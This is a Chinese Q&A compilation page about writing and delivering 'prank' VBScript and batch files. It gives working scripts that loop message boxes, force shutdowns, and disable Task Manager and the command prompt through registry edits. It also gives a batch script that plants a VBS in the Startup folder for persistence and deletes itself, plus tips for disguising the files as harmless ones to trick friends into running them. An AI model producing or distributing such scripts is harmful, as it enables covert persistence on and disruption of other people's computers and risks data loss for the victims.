整蛊代码vbs怎么打包（怎么把vbe做成exe）

本文目录

• 怎么把vbe做成exe
• vbs整人代码
• VB整人代码
• vbs整人代码怎么发送给别人
• vbs整人代码，超搞笑，共3个
• 如何用vbs整蛊人
• vbs整人的代码
• VBS小程序-弹窗整人（代码+解析）
• vbs整人代码

怎么把vbe做成exe

1.我用VB将vbe转成exe格式之后,exe格式打不开
Visual Basic 6.0 和 Visual Baisc Script 大同小异（说夸张点了），VB6与VBS最大的不同点是：VB6是可视化的，VBS是需要纯代码编写的，比VB6麻烦一点。

VBS的代码直接复制到VB6的代码窗口里有时甚至没有出现异常（当然要放在事件里的），你可以试试看，实在不行追问我。我不知道你的VBS代码，追问时记得发给我文件，我可以帮你改代码。

下面举个例子：VBS整人代码：Do Msgbox "你被耍了，哈哈！Loop’代码的意思是，跳出一个MassageBox（信息框），内容是：你被耍了，哈哈！要想解决这个难题，打开任务管理器，关闭wscript.exe就可以了！，怎么按确定还是按下关闭键，这个提示框就关了又出现（你如果真被整了关闭wscript.exe就可以了，我没说谎~）。VB6如果想实现的话：Private Sub Form_Load()Do Msgbox "你被耍了，哈哈！"LoopEnd Sub’当然执行的结果是一样的，只不过关闭wscript.exe无法恢复（因为根本就没有wscript.exe这个进程！）我的QQ:1808039284，有问题加我，备注：Mac叶汐。
2.请问怎样将exe程序,vbe文件还有bat文件打包成一个exe程序
网上有bat转换exe文件的工具，那工具还可以添加副文件，你看下能不能把vbs和你的exe打包进去，可以的话就会转换成一个exe文件，建议你的bat文件之前加几条命令，意思就是检测电脑用的是XP还是WIN7，因为XP和WIN7的启动位置不一样，所以要判断一下，判断后把你的vbs文件移动到启动栏里，这样别人每次开机就能运行你的vbs了，你再加2个命令，把你的EXE移动到其他路径下，如在C盘建立一个data文件，再把EXE文件放进去，命令可以这么写：
VER|FIND "版本 6"》nul

if %errorlevel%==0 goto cwin7

if %errorlevel%==1 goto cXP

:cwin7

md c:\data & move /y 你的EXE文件名 "c:\data"

move /y 你的vbs文件名 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

if %errorlevel%==0 (echo 这里是移动成功做什么) else (del 你的vbs文件名&cls&echo 失败！可能是安全软件阻止所致。&pause》nul&exit)

:cXP

md c:\data & move /y 你的EXE文件名 "c:\data"

move /y 你的vbs文件名 "%USERPROFILE%\「开始」菜单\程序\启动\"

if %errorlevel%==0 (cls&echo 这里是成功了做的事，这命令随你要不要)

当然，最好是把你的bat转换成的EXE文件最后加个销毁自身命令，那样别人只知道运行完你的EXE后，文件莫名其妙的消失了，其实vbs和exe已经在他电脑潜伏下来了。说了那么多，楼主是不是应该追加我多点分啊

vbs整人代码

把下面的代码输到文本文档里，然后保存为后缀名为“vbs”的文件
dim a,ctr
ctr=0
const pass="是"
do while ctr《100
a=inputbox("你是猪吗？")
if a=pass then
msgbox "good"
exit do
else
ctr=ctr+1 ’如果密码出错就增加一次错误认证计数
msgbox "错，你是猪！"
end if
loop
注：千万不要一下子复制，要一行一行地复制
接下来你新建一个文件夹，再弄一个快捷方式把原来的文件隐藏，现在的快捷方式点击鼠标右键-属性-更改图标，然后找一个容易让人上当的图标，再把文件夹压缩就可以发给qq好友了（嘻嘻，我就是这样整的）

VB整人代码

建立个TXT文档
输入：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a 《》 "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
保存后 重命名为 整人.VBS
然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown -a
即可取消关机命令 然后使用任务管理器结束进程即可

vbs整人代码怎么发送给别人

简单啊。你把VBS后面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name=’wscript.exe’")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)《》0 and pipe.count》=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 200
s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就好了

vbs整人代码，超搞笑，共3个

VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢？下面我给大家展示一下。

工具/材料

Sublime Text

• 01

  首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示

• 02

  然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗

• 03

  接下来这个脚本每一次循环会展示4个弹窗，每个弹窗的内容不一样，每个弹窗的弹出间隔为1秒，如下图所示

• 04

  最后一个脚本是带交互功能的，被整的人只有输入指定的内容才能关闭脚本，否则脚本会一直循环弹出，如下图所示

如何用vbs整蛊人

Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("1.vbs", True)
tf.WriteLine("Dim a,b,c") 
tf.WriteLine("randomize") 
tf.WriteLine("a = CreateObject(""HtmlFile"").ParentWindow.Screen.AvailWidth") 
tf.WriteLine("b = CreateObject(""HtmlFile"").ParentWindow.Screen.AvailHeight") 
tf.WriteLine("a = a*rnd()") 
tf.WriteLine("b = b*rnd()") 
tf.WriteLine("a = a*5") 
tf.WriteLine("b = b*5") 
tf.WriteLine("a = int(a)") 
tf.WriteLine("b = int(b)") 
tf.WriteLine("c = inputbox(1,,,a,b)") 
tf.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
For i = 1 to 100
WshShell.Run "1.vbs"
Next

vbs整人的代码

dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试……"" ",0,true
dim a
do while(a 《》 "我是XX，大哥我真的是XX啊!")
a = inputbox ("说我是XX，就不关机，快说，说 ""我是XX，大哥我真的是XX啊!"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈，我也看你像XX~!",vbinformation,"同感啊~~!!"
End If
next

VBS小程序-弹窗整人（代码+解析）

VBS可以用来编写一些整人的小程序，那么如何编写呢？下面我就给大家分享一下。

• 01

  我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的

• 02

  然后我们用Sublime打开vbs程序文件，在里面借助loop循环来不断的输出msgbox，如下图所示

• 03

  接下来我们双击vbs程序文件，运行上面编写的整人程序，你会看到如下图所示的弹窗效果，我们点击确定以后会不断的弹窗

• 04

  最后如果你想关闭这个整人的程序只能通过在任务管理器里面右键结束任务进行关闭了，如下图所示

vbs整人代码

完整代码如下：
---------------------------------------------------------------------
set vbs = createobject("Wscript.shell")
a = inputbox("请输入" & vbcr & """我是大笨蛋""" & vbcr & "否则电脑将立即重启。", "笨蛋炸弹")
if a 《》 "我是大笨蛋" then
vbs.run("shutdown -r -t 0"),vbhide
end if
---------------------------------------------------------------------
把代码拷贝到记事本里，另存文件为*.vbs，发给你朋友，让他双击这个文件他就上当了。
通过QQ发送时，你可以先把后缀名改为txt或者doc之类的，然后告诉你朋友让他手动把后缀名改为vbs，再让他双击文件就OK了。
给你出这么馊的注意，我都心寒……
友情提示：玩笑不要开得太大哦，让你的朋友丢失了重要资料就不好了。